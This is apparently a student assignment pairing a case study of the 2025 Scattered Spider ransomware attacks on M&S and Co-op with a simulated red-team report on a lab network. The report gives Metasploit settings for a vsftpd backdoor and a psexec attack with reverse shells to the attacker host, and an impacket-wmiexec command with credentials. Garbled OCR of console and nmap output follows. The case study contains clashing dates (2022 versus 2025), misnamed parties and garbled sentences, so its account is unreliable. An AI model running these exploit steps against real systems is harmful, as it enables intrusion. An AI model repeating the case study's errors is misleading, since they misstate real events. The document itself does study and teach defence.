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Abstract
The research critically analyses the ransomware attacks against Marks and Spencer (M&S) and Co-operative Group (Co-op) UK in April and May 2025, respectively. These attacks are part of a well-planned campaign on identity-based and social engineering attack vectors from the Scattered Spider threat actor (UNC3944) using the DragonForce strain of the ransomware. Case studies synthesize and analyze the incident history, adversary tactics (according to the MITRE ATT&CK framework), failures of root causes, threat actor profiles, identification and reaction, and strategic recommendations. A key finding is that even though the organizations faced similar assault maneuvers, they resulted in totally different outcomes as a result of the various detection capabilities and response procedures. The analysis will be summarized by evidence-based recommendations for boosting organizational resilience to identity-based attacks.
 

 



1.1 Introduction
It is hoped that the three biggest grocery retailers in the UK – Marks & Spencer, Co-operative Group and Harrods – managed to escape their own significant cyberattack, but not for long – it took place within days of the end of April 2022 [1]. Although they were initially reported as separate incidents [2] they were determined to be a series of operations by subsequent investigations by Google, Threat Intelligence Group, Mandiant and the National Crime Agency (NCA) orchestrated by the Scattered Spider threat actor. Attacks lasted for nearly three weeks and resulted in M&S losing business in its online medium in what was dubbed "e-commerce paralysis" and estimated to have cost the corporation PS300 million [3]. The incidents can be seen as a single campaign and this research explores common tactics, methods and procedures (TTPs) employed and critically compares the different organizational responses that influenced the outcomes of the incidents. The analysis is based on data from national cyber security centre (NCSC) and witnesses' testimony to parliament before M&S and Co-op and on information from the Information Commissioner's Office (ICO) and Mandiant. Despite their best efforts, 1.4 Root Cause & Security Control Failures can become reality.

 



1.2 Incident Summary and Timeline
1.2.1 Overview
The retailers in the UK had been targeted in late April/early May 2025. The attacker, Swisher, was able to access the third party IT services by social engineering, installing the encryptor of the Dragon Force ransomware [4]. In Table I, some of the critical events are summarized, as they relate to the present state of reporting.
	Date
	Event
	Source

	April 2025 (pre-25th)
	They carry out a reconnaissance on M&S, Co-op and Harrods; find third-party IT support connections 
	[1], [2]

	April 23, 2025
	Initial access: vishing an external IT helpdesk to get valid credentials;Initial access: use vishing to gain access to an external IT helpdesk and get valid credentials.
	[5]

	April 25, 2025
	M&S suffers IT disruption; orders off-line.Internet-based ordering system goes offline at M&S.
	[3]

	April 25-27, 2025
	The attackers are able to move laterally in M&S network without being detected; DragonForce ransomware is spread on VMware ESXi servers.
	[2], [6]

	April 27, 2025
	M&S finds compromise; decides to shut down systems even though majority are not affected
	[3]

	April 28, 2025
	Co-op detection systems warn of intruder attempts; organisation proactively closes access to 40 of the most important systems, including VPN access.
	[5]

	May 1, 2025
	NCSC releases preliminary statement about incidents to retailers
	[7]

	May 2, 2025
	ICO says that it has received complaints about the breaches from M&S and Co-op and is investigating.
	[8]

	May 4, 2025
	NCSC have released specific guidance for retailers on how to mitigate.NCSC have now released specific guidance for retailers on how to mitigate.
	[9]

	May 5, 2025
	Mandiant links attacks to Scattered Spider (UNC3944); identifies DragonForce ransomware
	[2]

	May 11, 2025
	Customer information (names, contact details, order histories) has been exfiltrated, but financial data has not been affected, says M&S.
	[10]

	May-June 2025
	M&S ecommerce services slowly returned, while click and collect is still partially unavailable until June.
	[3]

	July 9, 2025
	NCA has arrested four suspects (aged between 17-20) on the attack.
	[11]


TABLE 1 - INCIDENT TIMELINE
1.2.2 Critical Observations
The timeframe leads to the following two significant findings. Initially, it took M&S two days to identify the attack when the attacker's gained persistence and installed ransomware [3]. Second, Co-op's prompt detection and aggressive containment, which took 40 systems offline within hours of the breach, stopped the ransomware's deployment and reduced data exposure [5]. These contradictory findings provide a natural test of incident response efficacy. 




1.3 Adversary TTP Mapping (MITRE ATT&CK)
Any adversary behavior to the MITRE ATT&CK(r)-Enterprise Matrix, version 15, is shown in the table below [12]. Its foundation is analysis based on industry coverage, NCSC guidelines, and Mandiant threat information [2], [9], and [13].
	Tactic
	Technique
	ATT&CK ID
	Justification
	Source(s)

	Reconnaissance
	Phishing for Information
	T1598
	Attackers conducted vishing targeting external IT helpdesk personnel, impersonating M&S staff
	[5], [14]

	Resource Development
	Acquire Infrastructure
	T1583
	Scattered Spider maintained infrastructure across Telegram, Discord, and dark web forums
	[2], [15]

	Initial Access
	Phishing: Voice
	T1566.003
	Vishing attacks on third-party IT support contractors provided initial foothold
	[5], [16]

	Initial Access
	Trusted Relationship
	T1199
	Exploitation of M&S's relationship with external IT helpdesk bypassed direct controls
	[5], [17]

	Credential Access
	Brute Force: MFA Fatigue
	T1110.004
	Attackers bombarded employees with repeated MFA push notifications until approval
	[3], [18]

	Persistence
	Valid Accounts
	T1078
	Compromised credentials provided authenticated access without triggering alerts
	[2], [19]

	Privilege Escalation
	Domain Policy Modification
	T1484
	After obtaining privileged accounts, attackers escalated to domain administrator-level access
	[6]

	Defences Evasion
	Impair Defences: Disable Tools
	T1562.001
	Attackers disabled EDR agents prior to ransomware deployment
	[3], [20]

	Lateral Movement
	Remote Services
	T1021
	Use of compromised VPN credentials and administrative tools to move between systems
	[5], [21]

	Collection
	Data Staged
	T1074
	Customer data aggregated in staging locations prior to exfiltration
	[10]

	Exfiltration
	Exfiltration Over Web Service
	T1567
	Stolen customer data exfiltrated prior to encryption; dual extortion model employed
	[2], [22]

	Impact
	Data Encrypted for Impact
	T1486
	DragonForce ransomware deployed on VMware ESXi servers
	[6], [23]

	Impact
	Data Extortion
	TA0040
	Attackers threatened to leak stolen customer data to pressure ransom payment
	[3], [24]


TABLE 2 -- MITRE ATT&CK® TTP MAPPING



1.3.1 Attack Flow Diagram

[image: ]
Fig. 1 The entire attack chain seen during the campaign.
 

 



1.4 Root Cause & Security Control Failures
1.4.1 Technical Failures
MFA Implementation Weakness: Push-based MFA notifications can be the victim of MFA fatigue attacks, where multiple messages are received over time, and users eventually accept them [3, 18]. Then the NCSC pointed out that when you're dealing with an adversary who is determined, push-based MFA and SMS, no longer will cut it [9]. 
VPN Infrastructure Vulnerability: Organisation's response was that from a VP network was a high risk vector and decided to close all VP service gaps that it had with lots of lateral movement [5]. This is an invalidation to segregation (or no entry to the distinction of setting up the VPN). 
All of these ransomware actors have a list of its victims and those with ransomware-as-a-service are known to target and attack VMware ESXi systems too, so it's not surprising that the Dragonforce ransomware uses a specific technique (also called TTPs) [6] [23] to target and attack VMware ESXi systems. This is because ransomware has been introduced on critical virtual infrastructures because of improper micro segmentation.
1.4.2 Organisational Shortcomings
Third Party Risk Management: The first breach by M&S was due to an outside IT help desk provider who exposed poor security practices when dealing with outside parties [5] [17]. The lack of strict identity verification procedures by the helpdesk employees enabled the vishing attacks to be successful. Network Segmentation was a point of weakness as whilst more than 50% of the systems did not appear to be impacted, M&S was unable to manage the information leak. 
The attackers were able to sweep through exploited entry points to critical infrastructure without interruption from control devices. Preparedness: It took a lot longer for Co-op to successfully contain M&S's counterattacks. Moreover, Co-op had paper based BC plans and held tabletop exercises to recreate the same scenarios [5]. E-commerce was not resumed for a long time with M&S being not sufficiently prepared [3].
1.4.3 Human Factors
Vishing Susceptibility: The attackers were presenting themselves as legitimate employees and are able to intrude in the functioning of the IT help-desk; it is noted that the technical persons were not oriented in social engineering awareness [5][14]. It was clear from the NCSC that the staff working at help desks would need to be specially trained to thwart impersonation attacks.

 



1.5 Threat Actor Profile & Motive
1.5.1 Attribution
This campaign is attributed to Scattered Spider (perhaps monitored as UNC3944 by Mandiant or Octo Tempest, The Com) by a number of reliable sources [2], [11]. Google's threat intelligence team verified that the attacks on MGM Resorts and Caesars Entertainment in 2023 were directly linked to attacks on the retail operations in the UK [1]. 
1.5.2 Group Profile
There are a number of young English-speaking hackers in the group dubbed The Community [15] [24] who started Scattered Spider in the middle of 2022. The organisation has been seen using Telegram, Discord and dark web forums, characterized as ‘amorphous and decentralized’ [2]. Many individuals were arrested during 2024, including a 17-year-old in Walsall and UK citizen, suspected leader Tyler Buchanan in Spain [11]. This group construction allows for such resistance to the police's enforcement to be possible; individuals may easily be replaced within the larger criminal ecology and arrests do not end the context in which they work.
1.5.3 Motive: Financial Crime
Money is the driving force behind the campaign, which has: 
· Ransomware (DragonForce) attempts to extort ransom for unlocking of this [6] [23]. 
· Seeking to expose consumer information that has been captured as data extortion [10][22].
· RaaS is related to the infrastructure suppliers of DragonForce [2]. 
Retail organizations are considered desirable victims by Mandiant due to the predominance of financial data and personally identifiable information (PII) as well as the probability of ransom demands occurring in case of an interruption in business [2].
1.5.4 Capability Level 
The following are some of Scattered Spider's strong points: 
· Tradecraft of identity and the cloud [2]. 
· Partnerships for ransomware-as-a-service (AlphV/BlackCat, DragonForce) [6]. 
· The ability to run away, across a long time frame (2 days at M&S) [3]. 
The group's adaptive targeting abilities seems to be highlighted in the change of their business from casinos (2023) to financial services (2024) to retail (2025) [1].

 


1.6 Detection & Response Analysis
1.6.1 Detection Gaps
M&S Detection Gaps:
· No alerting in case of initial vishing compromise of third-party helpdesk [5] 
· Valid account usage (T1078) circumvented perimeter monitoring (T1078.001): 
· Actions of EDR that fail to be triggered before the deployment of the ransomware [3] 
· A window of two days was left between the first access and discovery to allow a complete attack chain to occur [3]
Co-op Detection Successes [5]:
· Early alerting of an intrusion attempt leads to immediate response 
· Due to the use of activity monitoring with a VPN, the decision to contain the activity was made quickly. 
· A war-gamed response team is developed from an existing team of members. 

 
1.6.2 Response Capability Evaluation
M&S conservative approach and regulatory pressures were evident in their decision to close down systems when more than half of them were not affected [3]. According to Professor Ciaran Martin's submission to Parliament [26] incentives for service of critical infrastructure operators are "all wrong" because organisations are held more liable for data loss than the service outages. 
Co-op's response illustrated good preparation in dealing with incidents [5]: 
· It made it possible to execute the intervention confidently because of prior scenario war-gaming. 
· Paper Based Business Continuity Plans (BCP) kept businesses up and running during systems outages 
· Intelligence sharing with other retailers during the incident (across sectors)

 



1.7 Strategic Recommendations
1.7.1 Prevention Controls
Organizations must use phishing-resistant MFA approaches (such FIDO2/WebAuthn) to stop the practice of taking advantage of MFA weariness, a feature of push-based MFA [9], [18]. This control has a considerable reduction in identity compromise, despite the moderate-high deployment overhead. Tight third-party security baselines must also be put in place because supply-chain vulnerability (such as a hacked outsourced help desk) can have a detrimental impact on an organization's security posture [5], [17]. To help prevent vishing attacks, strong identity verification through out-of-band validation (such as callback or managerial consent) is required prior to helpdesk access [5], [14]. Furthermore, Privileged Access Management (PAM) with just-in-time provisioning, which limits mobility windows after the compromise, must be used in place of standing rights [2], [19].
1.7.2 Detection Improvements
Early warning indicators of identity abuse should be the main focus of detection techniques. To identify anomalies, such as excessive prompts, irregular approvals, geo-inconsistencies, etc., identity telemetry, such as the identity usage of anomalies in MFA, must be used [3], [18]. The purpose of the EDR integrity check is to detect efforts at agent manipulation and service interruption [3], [20]. Analyzing VPN anomalies, such as unusual access patterns and privilege abuse, can also enhance early-stage intrusion detection [5], [21]. Using UEBA to implement cloud identity analytics also improves the detection of anomalous privileged behavior, which may help close perimeter-based security architecture vulnerabilities [2], [19].
1.7.3 Architectural Controls
To eliminate implicit trust and implement continuous verification with low privilege, a shift to Zero Trust Architecture (ZTA) is essential [13], [27]. To limit the spread of ransomware, network micro segmentation should be used to segregate assets of essential importance (such as backups and ESXi hosts) [6], [23]. To prevent escalation across the whole domain, active Directory hardening using tiered administration, restricted authentication paths, and distinct administrative communities is essential [2], [28].
1.7.4 Policy and People Recommendations
To increase the effectiveness of the judgments made, the executive level must routinely undertake incident response simulations (such as vishing and ransomware outbreaks) [5], [26]. Helpdesk staff should receive focused social engineering training as the next stage because they are particularly vulnerable to the dangers [5], [14]. To reduce the financial risk, cyber insurance policies should be qualified in ransomware and business interruption insurance [25]. Finally, pre-established reporting protocols and active engagement with regulatory bodies (ICO, NCSC) can be included into compliance to expedite the incident response process [7], [8].

 
1.8 Conclusion
In the Harrods, Co-op and M&S ransomware attacks in 2025, it was clearly demonstrated how identity-based attacks can evade perimeter security. Evidence shows that early detection and defensive system shutdowns - such as at Co-op - can prevent malware being deployed and can shorten recovery time. Good business continuity planning and tabletop exercises also help to enhance resilience. Here, organizations should focus on phishing resistant MFA, zero trust architecture, improved third-party security, and being ready for incidents at an executive level. Threat groups can be disrupted by law enforcement but resiliency requires the understanding that the threat has reached the enterprise and that proactive detection and response is necessary.

 








Task 2: Technical Red Team Engagement & Detection Gap Analysis — Multi-Vector Exploitation of ABCD Ltd Infrastructure



Executive Summary
What follows is a simulated Red Team engagement (RTE) report about the ABCD Ltd infrastructure environment (UBIKE) which is a UK based business. The objective of the exercise was to see how an attacker could exploit the security flaws of ABCD Ltd and how he/she would be detected while implementing a staged attack using a 3 VM heterogeneous lab including a legacy Linux Application Host, Windows Server Infrastructure host and a Windows client host, all connected to the internet. With industry standard offenses tools (Nmap, Metasploit and Impacket), the red team were able to obtain a root login on all 3 targets and administer commands on each of these machines. The results reveal that at the moment the most important risks associated with ABCD Ltd are the obsolete software reliquaries and the lack of credential management and credential reuse at the endpoint level. Gap in detection is filled with actionable remediation suggestions and the telemetry signature.




2.1 Introduction
This is a simulated red teaming attack against a retail and corporate services company, known as ABCD Ltd, which operates in the UK to see how far an attacker can get into its network. A three-host laboratory was built up with Linux, Windows Server, and Windows client systems to simulate a typical enterprise environment. Several exploitation methods exploited various hosts and hosts vulnerabilities to show a realistic attack. The report details the methods used to evaluate the assessment and how the attack was executed, as well as key findings and recommendations on defence that focus on bolstering enterprise cyber detection, response and overall resilience.

 



2.2 Methodology
Engagement methodology was similar to NIST SP 800-115 [29] and included planning, discovery, attack, and reporting stages. A Rules of Engagement (RoE) was in place that outlined the scope, allowed techniques, exclusions and emergency procedures. Testing was done using a separated VMware host-only network and VM snapshots to be able to recover in case anything went wrong. The attack plan was aligned with MITRE ATT&CK [30] throughout different phases of this attack. Successful was defined as Privileged Command Execution on all three lab hosts, for a realistic attack path, from an Internet facing system to an internal system.
There composed three Virtual Machines (VulnHub) in the lab as follows: 
· The VM-1 (192.168.174.164) is an outdated, internet facing application host, running any old software stack (Metasploitable-class build) and running a Linux server. 
· VM-2 (192.168.174.165) — a generation of Windows Server (2008 R2-2012), where it is used as the backbone of internal infrastructure, providing access to SMB and RDP. 
· VM-3 (192.168.174.168) — a Windows 10/11 class client, which represents an end-user working station, where there are local accessible files. 
The attacking host was a Kali Linux system (192.168.174.167) running Nmap 7.99, Metasploit Framework 6.4 [31], and Impacket 0.14 [32]. No custom weaponized payloads were developed, all tools utilized were declared/described in the RoE, and were Metasploit libraries' own library modules or Impacket's tools used as described by the maintainer - a "living off known tooling" approach, not a bespoke malwares approach. 


 



2.3 Implementation
2.3.1 Reconnaissance
A complete TCP port sweep was conducted on each host (using nmap -sV -p-) prior to any exploitation attempt taking place to help support each machine's selection of exploits. The scan on VM-1 (164) brought back some typical Linux services that came from the time when Linux was still a 2008 era product: OpenSSH 4.7p1 and Samba 3.X–4. There is a raw “metasploitable root shell” listener open on port 1524, an exposed rlogin/rexec pair and distccd. The highest-paid feeding ground was found to have this feature: vsftpd 2.3.4 backdoor (a winning combination with high recognition) was deliberately planted and purposely introduced a backdoor (CVE-2011-2523) [33].
The fingerprint for VM-2 (165) consisted of a Windows Server 2008 R2 – 2012 profile and revealed an open SMB port (445), open administrative RDP port (3389) and open WinRM-related HTTP services (5985) – which is a classic administrative surface profile for a domain-style server. 
The results of the scan on VM-3 (168) were IIS 10.0, SMB and a wide range of high-numbered Windows RPC ports which suggest a Windows 10 class workstation in workgroup.
[image: ]Screenshot 1 - Nmap scan of VM-1, 192.168.174.164

[image: ]Screenshot 2 - Nmap scan of VM-2, 192.168.174.165
[image: ]Screenshot 3 - Nmap scan of VM-3, 192.168.174.168



2.3.2 Exploit A — vsftpd 2.3.4 Backdoor RCE (VM-1, 192.168.174.164)
Metasploit's exploit/unix/ftp/vsftpd_234_backdoor module was selected against RHOST 192.168.174.164 on the default FTP port 21. The default FTP port (21) was exploited and the exploit for RHOST (192.168.174.164) was the backdoor in the exploit/unix/ftp/vsftpd_234_backdoor. A cmd/unix/reverse payload was used with LHOST set to the Kali host (192.168.174.167), and LPORT set to the default of 4444. In the first failed run, it was because the chosen Listener Port (LPORT) was assumed by another process running on the Attacker's host (Rex::BindFailed), the solution to this issue was, re-set LPORT to 5555 and re-run the exploit and then the reverse handler started cleanly.
Whole root level access was gained (e.g. whoami, id and uname -a yield root-equivalent (uid=0(root) gid=0(root)) on kernel i686 (2.6.24-16-server)). Unlike most FTP servers, it doesn't ask for any user input, it merely gives itself away as a backdoor due to a programming error; the "exploit" itself was simply a walk through an open door as the server does not require any credentials or user interaction.

[image: ]Screenshot 4 - Metasploit console: vsftpd_234_backdoor module configuration and execution
[image: ]Screenshot 5 - Post-exploitation shell: whoami/id/uname confirming root access on VM-1

 2.3.3 Exploit B — SMB/PsExec-Style Lateral Execution (VM-2, 192.168.174.165)
For the second host, the SMB authentication module was used to remotely login with a credential pair to create and run a service using Metasploit's exploit/windows/smb/psexec module, which works the same way as Sysinternals' PsExec [34]. The RHOST was 192.168.174.165, along with SMBUser Administrator and SMBPass Admin123, LHOST was 192.168.174.167, LPORT was 4445 and a windows/x64/meterpreter/reverse_tcp payload was used. 
In this exercise, the credentials used are not cracked in any way, but are simply administrative passwords that are common in real engagements: through default-credential lists, password-spraying, or from prior compromise, and are not intended to be a technique for cracking but rather to demonstrate the effect of weak credential hygiene. Metasploit authenticated successfully, was able to choose a PowerShell delivery method, and staged a 248,892 byte Meterpreter payload which resulted in a session. Run a simple drop to a native shell, and find out who was running the process: it was the highest privilege level they could get on the Windows host by creating the service: authority\system.
[image: ]Screenshot 6 - Metasploit console: windows/smb/psexec module configuration, session establishment, and whoami confirming SYSTEM access on VM-2



2.3.4 Exploit C — Credential-Based Remote Execution via Impacket wmiexec (VM-3, 192.168.174.168)
The third exploit targeted the Windows client at 192.168.174.168 and was designed to demonstrate lateral movement using credentials obtained (or, as here, reset) during earlier phases of the engagement, reflecting how real intrusions often pivot from one compromised host to the next using harvested administrative credentials rather than repeating the same technical exploit. The third exploit was targeted at the Windows client, 192.168.174.168, to demonstrate how a real exploit would be used to traverse networks from one system to another with stolen admin credentials or where relevant change the password (such as in this case) but not necessarily repeat the actual exploit. The impacket wmiexec.py tool [32] was used, using Windows Management Instrumentation (WMI) over DCOM to execute remotely without dropping a “typical” service binary execute it is a fairly lowkey “living off the land” for example (vs “typical” PsExec style deployments).
The command impacket-wmiexec Administrator:'NewPass123'@192.168.174.168 created a semi-interactive shell on SMBv3.0 version, and executed whoami and ipconfig commands on it to result in SMB login successful in the target machine, and the output of both commands showed the operator could list the local environment freely using the new shell obtained.
[image: ]Screenshot 7 - Impacket-wmiexec session: whoami and ipconfig output confirming administrator access on VM-3

 



2.4 Results and Outcome Analysis
All three targets of exploitation were shown and the entire attack chain, in three stages, was played out:
	Host
	Role
	Technique
	Access Achieved

	192.168.174.164
	Linux app server
	vsftpd 2.3.4 backdoor (unauthenticated RCE)
	root

	192.168.174.165
	Windows Server
	SMB/PsExec credentialed service execution
	NT AUTHORITY\SYSTEM

	192.168.174.168
	Windows client
	Impacket WMI-based credentialed execution
	Local Administrator



The Chain includes the three sweeps with Nmap when using it to Reconnaissance (MITRE ATT&CK T1595), exploitation of the backdoor located in vsftpd (Initial Access/ MITRE ATT&CK T1190), wmiexec for command execution remotely (MITRE ATT&CK T1021.006), and several actions required for Collection (MITRE ATT&CK T1082, using the following scripts: ipconfig, uname, id on every host, and PsExec for the delivery) [28]. All the exploits delivered payloads to the host-side (payload-staging, command output, banners of sessions, etc.) to reconstruct everything that happened afterwards. 
One aside to this -- two things stand out. Firstly, the three methods did not need any new or sophisticated order of tradecraft: Each was based on well-known exploits that had been identified for years, a compromised FTP daemon, lax credentials for the local administrator and reused credentials at other sites. Second, it didn't require escalation on both of the hosts as the Windows takes granted privileges were included in the credentials that were provided — remember, the game was being played on the administrative level on both of the hosts. This is in itself a significant discovery because: The only issue in the context of this special use case which the attacker was constrained by was not technical, but rather credential hygiene and patch currency.

 



2.5 Discussion
Most impressively on all three exploit runs is that they did not rely on a zero-day or use a custom tool; every method utilized is well documented on the Internet and comes prepackaged in popular frameworks and existed for more than 10 years. That is good news in one way of course (because the techniques to beat these paths are well-known) and bad news in another because if these paths exist and are still viable in a representative lab it seems only too plausible that, out there in the real estate, less closely tended, these paths will still exist and be viable. 
An intentional misusing of an older version of vSFTPd succeeded, NOT because vSFTPd itself was hacked or compromised, but because of the patch/asset-inventory failure: the vSFTPd was running, and no compensating network control (such as an allow-list or IDS signature) was placed on it. However, super cool name 'PsExecial' aside, the attack was possible because there was a guessable local administrator's password; a patch wouldn't have helped here, because, well, it was an organisational issue. In conjunction with the expense of two-factor authentication or whenever they locked out of an account post many failed logon attempts, then the expense of this action could be materially increased. Reusing the same admin credential set (or a similar one) worked on a number of hosts, even as it worked in actual-world breaches, where credential reuse is one of the top single components that enabled dissemination [35].
From a detection standpoint, all three techniques would be expected to generate identifiable telemetry in a properly instrumented environment: Windows Event ID 4624/4648 for the anomalous logon type and explicit credential use associated with PsExec and WMI execution, service-creation events (7045) for the PsExec service, and unusual outbound FTP command sequences for the vsftpd backdoor. The fact that these techniques succeeded without any indication of active blocking suggests that, in an equivalent production environment, ABCD Ltd would need host-based logging forwarded to a central SIEM, together with alerting rules tuned specifically to service-creation and WMI-execution events, rather than relying on network perimeter controls alone, which none of these three techniques would trigger in isolation.

 



2.6 Conclusion
In this battle exercise three different, albeit individually valid, approaches to attack the full attack surface of the three hosts lab representing the mixed Linux/Windows area of the company ABCD Ltd were tried: exploitation of an older version of Linux service, SMB server service execution approach, and lateral movement approach using WMI with a Windows client. Looking at each of the stages of completion of these achievements we can observe that it was done without advanced or custom tooling which shows that the main problem with ABCD Ltd is not the problem of sophisticated or novel attacks, it is about patch currency and credential hygiene instead. The prioritised remediation activities involve: retiring or isolating legacy services, and leveraging use of strong and unique local administrator passwords on all Windows hosts, and host-level logging and alerting that will disrupt all elements of the chain of this attack.
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B5£ > use exploit/windows/sab/psexec

+] No payload configured, defaulting to windows/meterpreter/reverse_tcp.
] Mew in Metasploit 6.4 - This module can target a SCoiioN oF an G
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) > set SHBUser Adninistrator
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) > st LPORT aass
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BLE SRBLOLEC. e 5 T
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ESE oIt ) > sex payload cad/inbx/reverse
Payload = cad/unix/reve:

BLE eRplofe( ] 9 ko) > set LiosT 192.16
LHOST = 192.168.174.167

BSE explost(( 110/ votpd 25 Backionr) > set LPORT 444t
LPORT = 4k

BSE exploit(in 1/ 71p/vsfipd 234 backionr) > run
" Handler failed to bind to 192.168.174. 1675444
| Wandler failed to bind to 0.0.0.0%4lkk:- -
| 192.168.176.164:21 - Exploit failed [bad-config]:
[+] Exploit completed, but no session was created.
256 explott(( 110/ oihd Tl LGN > Set LPORT 5855

LPoRT = 5555

S explodt(unix/ 1o/ us ol 250 backioor) > run
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§ nmap sV -p- 192.168.174.165

starting Nmap 7.99 ( https://nmap.org ) at 2026-07-26 10:23 -0400
Nmap scan report for 192.168.174.165

Host is up (0.00042s latency).

Not shown: 65520 closed tcp ports (reset)

PORT STATE SERVICE VERSTON
80/tco  open http Microsoft IIS httpd 10.0
135/tcp  open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPIP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPIP)
47001/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP)
49664/tcp open msrpc Microsoft Windows RPC

49665/tcp open msrpc Microsoft Windows RPC

49666/tcp open msrpc Microsoft Windows RPC

49667/tcp open msrpc Microsoft Windows RPC

49668/tcp open msrpc Microsoft Windows RPC

49669/tcp open msrpc Microsoft Windows RPC

49672/tcp open msrpc Microsoft Windows RPC

MAC Address: 00:0C:29:34:AF:80 (VMware)

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.76 seconds
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L§ omap sV —p- 192.168.174.168

[starting nnap 7.99 (https://mnap.org ) at 2026-07-26 o6:1 -0u00
[nmap scan report for 192.168.174.168

Host is up (0.000205 latency).

[Not shown: 65518 closed tep ports (resst)

porr  saTe Service  vesiow
s0/tcp  open nttp Microsoft 115 httpd 10.0
135/tcp  open msrpc Microsoft Windows RPC

139/tcp  open netbios-ssn Microsoft Windows netbios-ssn
[s45/tcp  open microsoft-ds Microsoft windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5040/tcp open unknown

5085/tcp open http Microsoft HTTPAPT httpd 2.0 (SSOP/UPTP)
7680/1cp open pando-pub?

¢7001/tcp open nttp Microsoft WITPAPL httpd 2.0 (SSOP/UPTP)
s9664/tcp open msrpc Microsoft Windows RPC

[19665/tcp open msrpc Microsoft Windows RPC

[s9666/tcp open msrpc Microsoft Windows RPC

<9667/tcp open msrpc Microsoft Windows RPC

19668/tcp open msrpc Microsoft Windows RPC

[s9655/tcp open msrpc Microsoft Windows RPC

<9670/tcp open msrpc Microsoft Windows RPC

29672/tcp open
61785/tcp
uac adares:
service Info

Microsoft Windows RPC
Microsoft windows RPC
:FFi96 (vmare)

05 Windows; CPE: cpe:/0smicrosoft:windows

[service detection performed. Please report any incorrect results at https://nmap.org/subait/ .
[Nmap done: 1 1 address (1 host up) scanned in 104.56 seconds
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$ nmap -sV -p- 192.168.174.164

Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-26 10:23 -0400
Nmap scan report for 192.168.174.164

Host is up (0.0018s latency).

Not shown: 65504 closed tcp ports (reset)

PORT STATE SERVICE  VERSION
21/tcp  open ftp vsftpd 2.3.4

22/tcp  open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
23/tcp  open telnet Linux_telnetd

25/tcp  open smtp Postfix smtpd

53/tcp  open domain 1SC BIND 9.4.2

80/tcp  open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp  open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open exec netkit-rsh rexecd

513/tcp  open login OpenBSD or Solaris rlogind

514/tcp  open tcpurapped

1099/tcp open java-rmi  GNU Classpath grmiregistry

1526/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MysQL 5.0.51a-3ubuntus

3632/tcp open distccd  distccd vi ((GNU) 4.2.6 (Ubuntu 4.2.4-1ubuntus))
5432/tcp open postgresql Postgresql DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6200/tcp open lm-x?

6667/tcp open irc UnrealIRCd

6697/tcp open irc UnrealIRCd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)

42886/tcp open java-rmi  GNU Classpath grmiregistry
52564/tcp open nlockngr  1-4 (RPC #100021)

60268/tcp open status 1 (RPC 5100024)

60481/tcp open mountd 1-3 (RPC #100005)

MAC Address: 00:0C:29:AA:3B:65 (VMware)

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linu

CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.24 seconds
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